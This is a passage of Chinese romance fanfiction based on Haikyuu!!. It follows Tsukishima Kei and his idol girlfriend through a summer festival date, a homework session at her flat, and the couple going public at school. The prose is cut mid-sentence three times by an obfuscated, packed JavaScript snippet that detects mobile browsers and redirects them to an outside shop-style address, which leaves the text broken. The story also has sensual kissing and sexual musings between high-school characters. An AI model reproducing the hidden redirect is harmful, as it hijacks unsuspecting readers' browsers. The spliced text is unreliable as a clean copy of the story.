谁能告诉他去年那个在夏日祭上吐槽，“为什么要穿浴衣，不热吗”、“这种小游戏谁会玩、无聊透顶”，“人太多我要回去了”的人是谁！ 是现在这个右手拿着苹果糖左手牵着女朋友的现充吗？ 吃到一口大瓜的山口忠无人分享心中的震撼。 他认识月岛萤那么多年，还是头一次知道原来谈起恋爱来的阿月那么不要脸。 还是赶紧离开的好！ “啊哈哈，不好意思打扰你们今天约会了。” “我朋友还在那边等我、先走了！” 山口忠实在受不了黏糊糊的恋爱空气，逃一般地选择先行告退。 他和几个国中的朋友约在这里见面，也不好一个人离开太久。 月岛萤对他点了点头。 狐狸面具也朝他挥了挥手，似乎因为他要走很开心：“好呀好呀，那下次见啦。” 北里悠花目送山口忠的背影消失在人群中，这才和月岛萤说：“没想到在这里都能碰到山口君，真是太巧了。” “是挺巧的。” 月岛萤回答得面不改色。 “不过山口君会生气吗？我连名字都没告诉他。” “他生气什么？”月岛萤似笑非笑，“又不是他在约会。” 月岛萤从小到大都不是个张扬的性格。 但偶尔也会有他的恶劣之处，比如在信任的好友面前就会忍不住臭屁一下。小时候炫耀月岛明光是乌野正选时是这样，现在交到女朋友了也是这样。 月岛萤怎么会不知道每年的夏日祭都很小、最容易碰到熟人，所以他一进场就买好了狐狸面具以防不时之需。 他清楚以北里悠花的艺人身份不好直接暴露在同学面前，也懂得她的口是心非。就算嘴上说着不在意、但心里也一定不想被人议论。 恋爱是他和北里悠花的事，月岛萤不需要别人的评价。 只是今晚，百鬼夜行。 他自私地牵走了公主殿下。 * 花火大会是夏日祭的最后一个环节。 他们跟着人流走到河岸边，等待烟花绽放。 刚才路过卖线香花火的小摊，北里悠花买了一包在正式开始前自娱自乐。 她穿着浴衣站在河堤边，用火柴点燃引线。 随着“噗“的一声，一小团金色的火花跳跃。 “自从国中之后我就没有玩过这个了诶，好治愈。” 线香花火像串流动的星星，照亮北里悠花的面孔。 “萤君喜欢烟花吗？” “不讨厌。” “那我们明年再来一次吧。” “你不是说明年夏天要去USJ？”月岛萤反问道。 杂志的夏日特辑采访里，有一题是： 【你最喜欢的夏日约会方式是什么？】 当时北里悠花思索几秒便很快填上答案。 【USJ制服约会。】 作为颇具网感的女高中生，北里悠花很清楚穿着制服在主题乐园约会、是高中生情侣的梦想。如果能在约会途中戴着乐园头饰拍一组美照，绝对能收获上万点赞。 于是她在答完题后就立马跟月岛萤分享，说着“明年夏天去我想和萤君去大阪USJ”。 只是北里悠花这个人思维跳跃、习惯了左右脑互搏。 “嘿嘿，那USJ可以我们毕业旅行的时候去呀~” “明年暑假我们再来一次夏日祭。然后到了毕业旅行就可以去大阪，我要玩好莱坞美梦过山车，还要和小黄人一起拍照！” “到时候我一定会给你戴史努比头箍的，一定超搞笑的噗哈哈哈！” 北里悠花自圆其说，并给月岛萤描绘出一副完美的未来蓝图。似乎非常确定、那时候他们也一定还在一起。 她的眼眸里倒映着闪烁的花火。 大概是被她无耻的甜言蜜语所打动，月岛萤没理由地觉得应当拿手机记录下这个时刻。 他的拍照技术还算不错。 以他的身高、正好能将北里悠花的脸拍得又小又可爱。男友视角下的北里悠花留下一个安静的侧脸，长长的睫毛投下小片阴影。 “悠花。” 月岛萤叫她的名字。 北里悠花抬头、注意到月岛萤原来在给她拍照。 她对着镜头微笑、表情舒展，身后便是静谧流淌的河水。 确实是一张很美好的照片。 线香花火很快被燃尽。 “我发现我们还没有合照过欸。”北里悠花突然说。 正巧旁边也有一对看上去二十出头的大学生情侣，帮助他们拍了合照后北里悠花便问能不能帮她和月岛萤也拍一张。 像是某部青春电影里的画面。 穿着浴衣的少年少女非常登对。 他们靠得很近，肩膀紧挨着彼此。明明没有做任何亲密举动。却还是能感受到初次约会的心动和青涩。 只听北里悠花说：“萤君、你笑一下嘛~”· 然后月岛萤便轻轻弯了下嘴角。 也正在此时，大片花火绽放在黑暗的天际。刹那间夜幕变得流光溢彩、混杂着夏日的热气，落在他们的眼眸。交谈声、河流声、烟花盛开的声音，所有感官都构化成一个虚幻的梦境。 北里悠花的手腕上还挂着那个狐狸面具。 这是他们的第一张合照。 * 为了避免拥挤，小情侣在花火还没有完全放完前就原路返回。 天气太热，又穿着和服在夏日的晚上走了那么久、不仅脚疼连额头都出了层汗。 北里悠花觉得自己的妆有些花了，忙从随身的小包里掏出化妆镜仔细查看。 她非常在意自己在月岛萤面前好不好看，从小只在外貌上吃到过红利的北里悠花一直在坚持服美役。 睫毛卷翘的秘诀是每个月去烫睫毛，头发永远柔顺是因为定期去做护理，指甲饱满得益于美甲师的建构技巧。 除去公寓的租金、北里悠花几乎把所有钱都花在了外貌管理上。 即便如此她还是认为非常值得，这个世界上所有动物都是依靠视觉来判断第一印象的，没有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627205|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能免俗。 月岛萤见她对着小镜子左看右看，以为她脸上有什么不舒服的。刚想凑上前，就发现北里悠花指着自己完美无瑕的脸蛋对他说： “我现在有点丑，所以你不要离我太近哦。” 月岛萤：“不是和平常一样？” 到底哪里丑了？ “可是我的鼻子都有些脱妆了，而且腮红和唇釉也都没了。” “？” “萤君你看不出吗？看来你一点都不关心我。” “？” 月岛萤百口莫辩。 北里悠花偷笑了下：“开玩笑的。” “但是今天我真的好开心哦。” “那就好。” 已经走出神社一段距离了，耳边还是能听到花火升空的声音。 前方是长长的下坡甬道，北里悠花穿着木屐的脚疼得不行、感觉再走两步就要磨破了。牵着她走着的月岛萤发现北里悠花走得越来越慢，视线在她的脚上停留了一会儿。 “脚疼？” “嗯嗯。” 北里悠花看向他，委屈地点点头。 “那怎么办？”月岛萤抱臂站在她面前，故意问她。 明知故问！ 北里悠花干脆赖在原地：“你把我背到前面平坦的地方就行啦。” “可你不是让我离你远点吗？” “？” “而且你穿着浴衣，背不了。” “……” 北里悠花显然忘了自己穿着一身不便行动的衣服，根本不能实现自己脑海里的罗曼蒂克幻想。 而当她正纠结要不要忍痛走回家时，月岛萤突然将狐狸面具再次戴在她的脸上。 下一秒北里悠花就感到身体一轻、重心骤然消失。 “欸？” 月岛萤一手穿过她的膝弯、一手护着她的背，稳稳将她公主抱起。 这对于常年运动的月岛萤来说轻而易举，即便是下坡也走得十分平稳、表情看不出一点吃力。 北里悠花只能下意识地紧紧搂住他的脖颈，脸颊发烫。 透过浴衣轻薄的材质，她甚至能清晰感知到月岛萤的掌心拢住了自己大半的腰，整个人都忍不住绷紧了身体。 太突然了啦！ 不过……脚也不疼了！ 而且这样近距离一看，更帅了(///▽///)。 北里悠花看着月岛萤近在咫尺的帅脸，忍不住腾出一只手悄悄抬起面具，趁月岛萤没注意亲了下他的唇角。 “喜欢你～” “……别乱动。” “就亲就亲！” 北里悠花又胡乱亲了他几口。 “……” 长长的下坡路走到了尽头，沉默的月岛萤把她放下。 “站好。” 他用力捏住北里悠花的下巴，迫使她张开嘴巴，饶有兴致地欣赏她茫然的表情。 “干森么。” 因为被捏着脸，北里悠花话都说不清楚。 干什么？ 月岛萤用行动回答。 北里悠花先是感到自己的唇珠被他轻轻咬了下，然后是下唇、再到达舌尖。 她想躲开，可舌头被纠缠住了，她变成了苹果糖，外层的脆壳糖衣正一点点地被舔.舐、吸.吮。 柔软又湿热、直到糖衣完全融化，连氧气都被掠夺干净。 唔……真的快要呼吸不过来了。 舌头在发麻。 陌生的潮热感快要吞噬了她。 为什么才接了两次吻，却每一次都那么刺激呀！ 但是……好爽。 双腿变换了站姿，她迷迷糊糊地伸出舌头、也想要向他索取更多。 却在这时戛然而止。 月岛萤及时抽离，他捧住她的脸，亲了亲她红肿的唇瓣。 “悠花，这才是接吻。” 最盛大的一朵花火在他们头顶的天空绽开。 30.30. 夏日祭的合照被北里悠花设置成了她和月岛萤的聊天背景。 不止这张合照，北里悠花还很喜欢记录他们相处的日常。 为此她专门创建了一个私密的IG小号，名字叫「Yuukanokkun」，翻译过来意思就是过于甜腻的「悠花的K君」。 当然，关注和粉丝列表都只有月岛萤一个人。 从平时聊天时搞笑的对话截图，到约会随手拍的甜品，每一张她都有上传到账号上、再随手记录下当下的心情。 这个暑假他们和所有恋人一样，在无人的转角处接吻、又牵手走过家附近的每一家美食店。北里悠花去工作时、月岛萤去训练时，就用好几个G的聊天记录填满彼此不在身边的空白。 每天睡觉前，北里悠花都会拨通一个FaceTime过去。 她敷着面膜、月岛萤戴着耳机背英语单词，两个人有一搭没一搭聊今天发生了什么事。 就这样，直到暑假进度条已经到了末尾，北里悠花才猛然惊觉自己还剩一堆作业没完成！ 毕竟她在的班级是强化班，面对即将升入高三的备考生们各位老师并没有心慈手软。 光顾着谈恋爱的北里悠花只觉得大事不好，连忙给月岛老师发消息寻求帮助。 Yuuka： 「月岛老师，救救我QAQ！」 K君： 「作业没做完？」 Yuuka： 「呜呜呜。」 北里悠花有时候觉得月岛萤实在有些没人性，一边和她谈恋爱还能一遍兼顾排球部的训练，甚至还把暑假作业都提前写完了。 他一天是有四十八小时吗？ K君： 「还剩多少？」 Yuuka： 「……只写了英语。」 K君： 「？」 Yuuka： 「我错了啦！月岛老师最好了，肯定不会忍心看我完不成作业吧~」 「（卖萌）」 K君： 「一个小时后县立图书馆门口见。」 图书馆？ 北里悠花看了眼窗外的灼灼烈日，又感受了下家里凉爽的空调。 这样出去又热又会晒黑，才不要。 干脆让月岛老师□□好了，不仅能有免费的家庭教师还不用出一身汗，最重要的是在家里约会还能亲亲抱抱。 真是一举三得。 Yuuka： 「可是我今天好像有点低血糖，感觉一出门就会中暑T.T」 「头也晕晕的。」 北里悠花的胡话张口就来。 K君： 「那就在家里好好休息。」 Yuuka： 「但这样就肯定完不成作业了……（对手指）」 K君： 「所以，你想怎么样？」 Yuuka： 「所以，月岛老师直接来我家教我做作业吧（可怜）」 * 月岛萤对高温非常苦手。 当他出现在北里悠花的公寓门口时，精神有些恍惚。一时间他也分不清究竟是因为这逼近四十度的鬼天气，还是因为莫名其妙就要登堂入室了。 不过有一件事可以确定。 因为北里悠花一句消息就从家里跑出来的自己，简直像个蠢货。 尽管已经送过北里悠花回家好多次，但月岛萤一次都没有进去过。 “孤男寡女共处一室”、这句话怎么听都充满了暧昧气息，所以在按门铃前他在门前踌躇了许久。 蝉鸣在耳边嗡嗡作响。 穿着T恤和运动短裤的月岛萤不耐地皱起眉毛，将自己收拾干净。 先用湿纸巾擦干了额头和脖子后的汗，又吃了一颗薄荷糖。 出门前他一直有涂止汗露的习惯，所以无论何时都能保持清爽干净。 叮咚—— 这才终于按下门铃。 他骗不了自己，他也很想见北里悠花。 房门很快打开。 和凉丝丝的冷气一起袭来的，还有北里悠花的香水味。 她穿着一条棉质的粉色睡裙，柔顺的长发松散垂下。 打开门时她的眼神亮了亮，一把就抱住了月岛萤、还在他胸前蹭了蹭：“月岛老师我好想你呀~” 月岛萤轻轻摸了摸她的脑袋：“好了，别撒娇了。” “嘤嘤。” 房门关闭的一瞬间才真正觉得不自在。 月岛萤换上拖鞋后，就被北里悠花拉着手介绍家里的布局。 “这里是我的客厅，我平时晚上就是躺在这个沙发上和你打视频哒。” “这是我的房间，可以直接连通到浴室。” “这个是我的化妆桌，东西有点乱还没收拾。” 艺人小姐的高级公寓并没有什么好介绍的。 整个屋子空荡得像刚搬来时的样板间，除了生活必需的家具和数量多到令人咋舌的化妆品与服饰外，偌大的家里竟然连一张餐桌都没有。也难怪当时的“北里悠花牌特制草莓蛋糕”如此简陋，毕竟她既没有烤箱也没有任何食材，月岛萤有理由怀疑再这样下去她就要脱水了。 北里悠花的身体在宽大的睡裙下显得无比纤瘦，月岛萤看了眼她分明的锁骨。 “你真的有好好吃饭吗？” “放心吧，我最近每天都有摄入1200卡哦。” 月岛萤捏了下她柔软的脸颊肉：“多吃一点。” “可是我好容易胖。” 在家里保持全妆反而显得刻意，北里悠花最近皮肤状态不错，所以只涂了一个有色的润唇膏。她知道自己现在肯定非常可爱，没有男高中生能抗拒素颜的居家女友。 而月岛萤的自制力惊人。 他低头轻啄了下她的嘴唇，就无情宣布：“开始写作业吧。” “QAQ！” 由于家里没有餐桌也没有写字台，北里悠花的学习场地就定在房间的化妆桌前。她胡乱将瓶瓶罐罐的化妆品一把推到边上去，这才留出一块空地可以用来写字。 她亲亲抱抱的梦想并没有实现，取而代之的是被月岛萤按头学习。期末考试时期的魔鬼月岛老师再次上线，她的手机都被没收、只能对着一片空白的作业本发呆。 “别发呆，自己写。” “别人的男朋友都是直接把作业借给女朋友抄的！” “那还真是不好意思了，我跟别人的男朋友不一样。” “月岛萤，你这个冷漠且没有感情的家伙！” 这跟她想象得一点都不一样！ 北里悠花愤愤地拿起笔，开始先攻克理科的重点问题集。 好难，不会，好想抄作业！ 月岛萤也不知道帮她写一点！ 如此集中学习了几个小时，北里悠花眼睛都有些酸涩。 她揉了揉眼睛，这才发现月岛萤已经在她学习时帮她把凌乱的化妆桌收拾干净了。 妆前乳粉底液防晒全按高矮胖瘦排列好，口红、唇膏、唇蜜甚至按种类做了区分。 那些眼影盘和粉饼也都被收纳进桌上的透明亚克力小抽屉里，一目了然。 北里悠花感叹道：“萤君你是我的卡密sama！” 呵呵。 也不知道刚刚说他冷漠且没有感情的人是谁。 月岛萤并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640152|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和北里悠花多计较，拿起她完成了大半的理科作业开始检查。 看着看着他的脸色暗了暗，忍不住说：“你期末考试能及格真是奇迹。” “谢谢月岛老师的夸奖。” “并没有夸你的意思。” 乌野的作业量相对于其他的县立名校并不算多，虽说强化班会提前针对大学的入学考试进行梳理，但学生也大都会在课后去私塾补习。 而对北里悠花这种靠狗屎运的特殊学生来说，只要好好完成基本作业就行了。 虽然还没有和月岛萤说，但她毕业就会回到东京找所还过得去的学校读艺术学部，根本没有留在仙台的打算。 考试及格万岁、在学校没有黑料就行了。 “以前好像也问过，萤君大学是打算留在宫城对吧。” “基本是。” “那以后我们会有点辛苦呢，我要回东京哦。” “无所谓，我会来见你。” “好可靠哦~” 没穿袜子的脚被空调吹得有点冷，北里悠花直接将双腿搭在旁边月岛萤的大腿上。 月岛萤一手按住她不安分的腿，一手拿着笔敲了记她的额头。 “去穿袜子。” “不要。” “那继续写别的作业。” “写不动了，你要不借我抄吧。” “不是你叫我过来教你写作业的吗？” “可是……”北里悠花停顿了下、朝他露出一个灿烂的笑容，“萤君你那么聪明，肯定能看出我是故意叫你来的吧。” “……” 被看穿内心的月岛萤将唇抿成一条直线。 “难道你不想见我吗？” “……” 北里悠花最近爱上了和月岛萤接吻。 自从放下了一开始的羞耻心，她逐渐能全身心地放松、享受这件事。 不仅对她的眼睛很友好，对她的雌激素和荷尔蒙也很友好。月岛萤在接吻这件事上天赋异禀、技巧极高，每次都能把她亲得七荤八素。 不同于某些汗津津的臭体育生，月岛萤有洁癖、身上总是好闻的。他爱吃蓝色包装的无糖薄荷糖，亲吻时舌尖都有薄荷的凉意。 “悠花，你是不是对我太放心了？” 再怎么说，他也是个正值青春期的男高中生。她就这么放心和他待在房间里？ “可我就是想你对我做点什么呀。” 北里悠花干脆侧坐在了月岛萤腿上，摘掉他碍事的黑框眼镜。 她双手环着他的脖子，笑眯眯地想印一个吻在他的唇上。 “亲亲~” 月岛萤偏头躲过她的亲吻：“你的作业怎么办？” “……一定要在这种时候说作业吗？”北里悠花无语。 至少不该是现在。 他没有她以为得那样不为所动。 月岛萤把作业本盖在她面前：“好好写完。” 她的睡衣领口宽松，即使并非出于刻意、也隐约看到了蕾丝内.衣的痕迹。 是白皙的、圆润的、饱满的。 月岛萤发现，他想要的不只是亲吻。 * 粉红气息荡然无存，北里悠花恨不得把不解风情的月岛萤驱赶出家门。 好在月岛萤回去时，她的作业确实完成了不少。 北里悠花在IG小号上发帖吐槽。 Yuukanokkun： 「今天被恶魔逼着做作业了（图片）」 配图是一张合照。 她戴着月岛萤黑框眼镜、对着镜头嘟起嘴，旁边是一脸无奈的月岛萤。 有新消息提醒。 月岛萤点了一个喜欢。 31.31. 热恋期的校园情侣总盼望着开学。 这个学期北里悠花比之前要清闲许多，除了固定的杂志拍摄、视频剪辑和社媒更新，就没有再被安排新工作。据日向小姐所说，是“事务所希望她以学业为重、不用东京仙台两头跑了”，美其名曰为她好。 而实际上，北里悠花的工作并不饱和。 只是被夏川西奈平分了。 日向小姐： 「周末不用来东京了，拍摄取消。」 北里悠花收到这条消息时正站在班级门口，她看了眼内容便快速锁屏、翻了个白眼。 作为商品经济下的一颗普通螺丝钉，除了事务所打造的人设、她几乎一无所有。在没有真正找到自己的价值前，只能选择忍耐。 待在宫城是很安逸。友善的同学、帅气的男友、没有烦恼的世界。 可是之后呢？她不可能一辈子躲在这里。 她不想毕业之后进入一所普通的大学，成为穿着职业装的OL，再平淡无波地结婚成为家庭主妇。 这不是她的人生，宫城县满足不了她的胃口。 东京是个深不见底的漩涡，但又充满了各种诱惑。北里悠花是不喜欢那些名利场上的假人没错，可是她太想要闪闪发光的一切了。 名牌包、珠宝、高定服装，她也想和夏川西奈一样随心所欲。 就这样下去吗？ 看着资源被抢走，人气一天比一天低？青春饭总会发馊，享受过欢呼之后她就再也不能忍受默默无名。 北里悠花的配得感极强，认为自己生来就值得拥有最贵最好的。 可现实注定了她现在只是个平凡的女高中生，还被事务所打压了。 一大早心情就好差。 北里悠花不断吸气、呼气，试图调整自己糟糕的心情。 于是在进教室门的刹那，她又变回了那个善解人意的完美女神、数字流量下的校园明星。她被无数声“悠花酱早上好”淹没，脸上绷着始终如一的虚假笑容。 新学期就这样踩着夏天的尾巴到来。 星野杏见到北野悠花出现，立马冲上来给了她一个热情的拥抱：“啊啊啊悠花好久不见，好想你啊！——” “小杏~我也很想你！”北里悠花回抱住星野杏算是回应。 星野杏今天有些不一样。 北里悠花不露声色地观察了下，发现对方苹果肌透着健康的红晕、嘴唇水润，整个人看起来容光焕发。 果不其然，下一秒星野杏就凑到她耳边轻声说：“等下我有重要的事情和你们说哦。” 暑假过去，有的人换了发型、有的人失恋、有的人迎来新的恋情。 星野杏属于后者。 她在课间神秘地拉着北里悠花和村上由奈到角落，宣布她在前几天和隔壁班的小帅哥告白成功、终于摆脱了十七年单身女王的称号。 “总而言之——”星野杏大方地拿出手机、展示自己和小帅哥的合照屏保，“和帅哥谈恋爱真的太爽了，每天看着他的脸什么气都消了、感觉人生十分美好！” 北里悠花深以为然地点点头：“同意。” 她很想说，自己每次看到月岛萤的脸时也是这个想法。毕竟对方全身上下都在她的xp上跳舞，没有女人能在看到他高挺的鼻梁和棱角分明的侧脸时不露出微笑。 而唯一单身的村上由奈得知这个消息，惊讶地差点掉了下巴：“天哪，小杏你深藏不露。” “所以，你和小帅哥进行到哪一步了？” “拜托由奈，我们才刚牵上手好吗！”星野杏露出甜蜜的笑容，表情里全是对爱情的憧憬。 从前在东京上学时，周围许多人都有处女羞耻症。女生们觉得“处女”代表着不受异性欢迎，且没有魅力。许多人甚至会伪装自己是经验丰富的老手，传授那些经验。 可能是出于艺人的身份，北里悠花莫名其妙被归为了“很会玩的女生”那一类，尽管她当时连接吻都没试过。但虚荣心作祟，她不想成为异类、也就默认了这种说法。 傻得可以。 现在看来，还是宫城的民风淳朴。 眼前的星野杏还在为牵上了手而害羞，一想到这些天她对月岛萤霸王硬上弓的场景、北里悠花都觉得有些不好意思。 她一直认为，在做好保护措施的前提下与喜欢的男生发生关系，是一件美好的事情。 比起探索自己的身体，北里悠花同样对异性的身体充满好奇。她想摸月岛萤的腹肌、喉结、耳垂，和不可言说的所有。男女构造的区别到底在哪呢？而面对她的请求月岛萤总是装出一副假正经的样子，最多也只是来个深吻就推开她。 想到这里北里悠花幽幽看向正在预习课本的月岛萤。 真装！明明亲到最后他也看起来不太满足！ “小杏，出来下。” 正当女生们聊得热火朝天时，星野杏的那位小帅哥出现在了班级后门。他手里提着一个塑料袋，里面看起来装满了各种零食。 “真好呀~” “真羡慕呢~” 在两人的打趣之下，星野杏红着脸小跑到男友面前。情侣间的空气旁若无人，小帅哥还当众摸了摸她的脑袋。 北里悠花远远看着这幅画面，心里竟然有些羡慕。 好奇怪，她什么都有了呀。 北里悠花将自己的症状归结为生理期前的情绪波动。 * 北里悠花充满忧郁之时，月岛萤照例在放学后前往部活室。 排球部已经筹备起了冲刺春高的训练，一派热火朝天的景象。 他这个学期并不轻松，有很多需要考虑的事情。排球、学习、大学志愿，还要每天照顾某个笨蛋。 今天北里悠花似乎情绪不佳，发来的LINE里都没有加表情包。他追问了下原因，也只是得到「可能快到生理期了吧」的草草回复。她也确实一整天都窝在座位上，下午连星野杏她们的聊天都没怎么参与。 思考之间他将背包放到部活室的柜子里。 正当这时。 “月岛，你小子是不是谈恋爱了？！” 田中前辈过于标志性的大嗓门从身后传来，他的肩膀被他狠狠拍了下，力度大到他差点没反应过来。 ？ 田中前辈是怎么知道的？ 山口忠自然不可能告密，谷地仁花也明显不是说闲话的性格。 月岛萤并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655373|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不做声，转头向对方投去了一个淡淡的审视眼神：“= =？” “这个！”田中龙之介指了指他背包上的挂件，“绝对是情侣挂件吧！” “啊，这个啊。” 月岛萤看了眼他包上的白色小熊挂件。 【·ω·】 小熊长着滑稽的豆豆眼和嘲讽的微笑唇，是上次和北里悠花约会时买的。 “这个小熊好像你啊！”她当时是这么说的，并拿起小熊放到他脸旁边哈哈大笑，还拍了一张照。 所以北里悠花买了一对下来，她的是戴着蝴蝶结的女款小熊。 不得不说田中龙之介的直觉有时候很准。 月岛萤并没有隐瞒的打算，直截了当地点头承认：“是和女朋友一起买的。” 他翘起嘴角，看起来心情很好的样子：“怎么了吗，田中前辈？” “哦，原来是和女朋友买的啊。” 田中龙之介并没有反应过来。 诶、等下。 刚刚月岛那小子说的是女朋友吧？ 女朋友的话，是那个女朋友的意思吗？ 也就是说，这小子真的谈恋爱了？？？ 田中龙之介没有想到月岛萤会这样轻易应下，在短暂的沉默之后，一声响亮的“什么？？？——”回荡在部活室里。他夸张地长大了眼睛和嘴巴，连一句完整的话都没有再说出来。 凭什么啊？！ 凭什么这个腹黑四眼能交到女朋友啊！ 清水さん！—— 他的爱情到底什么时候才能来啊啊啊啊—— 田中龙之介绝望地发出呐喊，沉浸在自己的小剧场中无法自拔。 “啪——” 月岛萤利落地关上柜门，换好衣服后就前往排球馆，徒留田中龙之介一个人在原地石化成佛。 于是这天训练前，月岛萤谈恋爱的事情就被田中龙之介大肆宣扬开来。 由于山口忠和谷地仁花早就经历过震惊阶段，现在两个人站在一起颇有一种超凡脱俗的平静感。 “总觉得阿月心情很好的样子。” 山口忠看着月岛萤比平时略弯的嘴角，做出精准判断。 “感觉拦网的力度也大了很多呢。” 谷地仁花紧随其后补充。 两人相视一笑。 但唯独一件事。 就是无论众人怎么打听他女朋友是谁月岛萤都闭口不谈，可爱女友的照片更是一张都不给看。 以至于陷入恋爱惆怅的单身汉们都怀疑这个“女朋友”到底是不是真实存在了。 山口忠和谷地仁花此时都默契地闭上了嘴巴，面对散发着单身清香的学长们，他们实在没忍心说出“我见到过月岛的女朋友”这件事。 而面对越来越夸张的猜想，月岛萤只是留下一句冷漠的： “无可奉告。” 听到这句话的山口忠，又想到了夏日祭上的那个戴着狐狸面具神秘女生。既不露脸也不介绍名字，总不能是艺人吧。 他被自己的这个想法吓了一跳。 “砰——！” 随即日向翔阳发了个球，正中他的脑门，把这些纷繁的思绪也都打乱了。 32.32. 晚上，北里悠花躺在沙发上护肤。 由于心情不佳、她从中午到现在滴水未进，并让电视重复播放小丸子。当洗脑的主题曲再次播放时，她家的门铃也响了。 叮咚—— 北里悠花不情不愿地拖着疲惫的身体起身，透过猫眼一看、来的人竟然是月岛萤。 原本低落的心情有小雨转阴的趋势，她快速打开门，连眼睛里都露着欣喜：“你怎么突然过来啦~” 月岛萤拎着一个便利店的白色塑料袋，顺手摸了下北里悠花的脑袋：“有点担心你。” 他刚结束排球部的训练，包上挂着的白色小熊晃动了下。 随后熟门熟路地换拖鞋、关门、将东西放在岛台上。 暑假后期俩人基本上都窝在北里悠花家里以补作业的名义腻歪，于是月岛萤早就掌握了房屋的所有动线、表现得就像同居男友回家一样自然。 北里悠花很难伺候，但也很好懂。 当她开始重播小丸子、打字不用波浪号、不发表情包时，都能说明她心情不好。 月岛萤还没太学会怎么正确哄人，他只记得早上在星野杏的男朋友来送吃的时北里悠花似乎露出了很羡慕的表情，所以他刚才也去便利店进行了一番扫荡。 于是北里悠花就这样看着月岛萤从塑料袋里变出了好多吃的。 饼干、软糖、薯片、酸奶、巧克力、果冻……都是喜欢却她不能吃的高热量食品，几乎填满了岛台的桌面。 最后月岛萤拿出了一个金枪鱼三角饭团塞到她手上。 拿着饭团的北里悠花一脸懵：“欸？” “你晚餐又没吃吧。” 月岛萤用的是肯定句。 “这个热量不高，都是你可以吃的优质蛋白质。”他接着说，懒懒靠在岛台边上，似乎要监督她好好吃完。 北里悠花心中一片柔软，空虚的胃在这时才感到饥饿。 她一边撕开三角饭团的包装，一边调侃道：“我们现在好像在同居一样哦~” “不过你为什么要给我买那么多零食呀？” “也不知道早上是谁看着星野同学一脸羡慕。” “哼。”北里悠花嘴硬，“我才没有羡慕呢，只是觉得能在大家面前亲亲我我很好，我也很想炫耀一下和萤君谈恋爱了……” 她的腮帮子被饭团塞得鼓鼓的，和过冬的仓鼠一样。 北里悠花并没有透露周末工作又被取消的事，连带着自己早上的那些顾虑也没讲给月岛萤听。高中生的恋爱就该是轻松愉悦的，一旦被现实问题困扰注定走不长久。 她也从未想过能和月岛萤走到最后。这个年纪的爱情存在太多不确定性、谁都不能轻易许下承诺。 月岛萤深深看了北里悠花飘忽不定的眼眸一眼，并再多说什么。 只是指了指他包上的白色小熊：“今天田中前辈发现它是情侣款了。” “哦、所以呢？” “所以，大家都知道我谈恋爱了。” 月岛萤如是说道。 * “……” “……你的意思是、结果他们都以为你编了一个女朋友出来？哈哈哈哈哈！” 北里悠花听月岛萤讲完今天在训练时发生的乌龙，终于忍不住大笑出声。她实在没想到因为拿不出照片也不肯介绍细节，月岛萤竟然会被怀疑是根本没有女朋友！ 她正被月岛萤圈在怀中，一起窝在沙发上。 由于和月岛萤的体型差过大，每次拥抱时都能感到满满的安全感。 偶尔也会使坏地将手伸进他的衣服下摆，触碰紧实的腹肌、再顺着往下到分明的人鱼线。 月岛萤没有刻意和健身房里的那些肌肉男一样、把自己练得虎背熊腰。少年因为长期运动形成的薄肌是北里悠花最喜欢的，精瘦而饱含性张力。 见北里悠花露出笑容、月岛萤安心不少：“嗯，我的信用破产了。” “扑哧。” 不过一直这样也不是办法。 北里悠花是个自私的人，尽管月岛萤毒舌还脾气差，可终归长了一张足以迷惑人的好皮囊。外界诱惑太多，她希望月岛萤成为自己的所有物，让所有人都知道他已经名草有主。 “我想让所有人都知道你是我的。” 北里悠花直接将心中的想法说出口。 电视里小丸子正和小玉拉着手去郊游。 她也换了个姿势，像树袋熊一样抱着月岛萤、还用鼻尖蹭了蹭他的颈窝，声音听起来闷闷的。 北里悠花知道月岛萤很吃这一套。 果不其然，话音刚落月岛萤就问：“你想怎么做？” “让大家知道你是真有女朋友不就好了？” 计谋得逞，北里悠花立马从他怀里抬起头。 又伸手摸索到月岛萤口袋里的手机，调整成前置模式塞回到他的手中。 “拍张照片给他们看吧～” 屏幕里的他们流露出只有恋人才有的甜蜜。 北里悠花靠在月岛萤的怀里，用双手遮住了脸，只露出一双圆圆的、满是笑意的眼睛。 而月岛萤的下巴轻轻抵在她的发顶、表情是难得的温和，一手按下了拍摄键。 又是一张完美的照片。 北里悠花熟练地找到他手机里的修图软件，给自己的眼睛p上了月岛萤同款的黑框眼镜贴纸——这下子确实看不出照片里的人是她了。 “然后？”月岛萤循循善诱。 “然后当然是上传到IG，让所有人知道你已经有全世界最可爱美丽善良有趣的女朋友啦！” 真是有够夸张。 月岛萤捏了捏她的脸颊肉，就这样看着北里悠花打开他的IG、将图片上传。 而北里悠花却在配文字时犹豫了下。 “萤君你来想文案吧。” 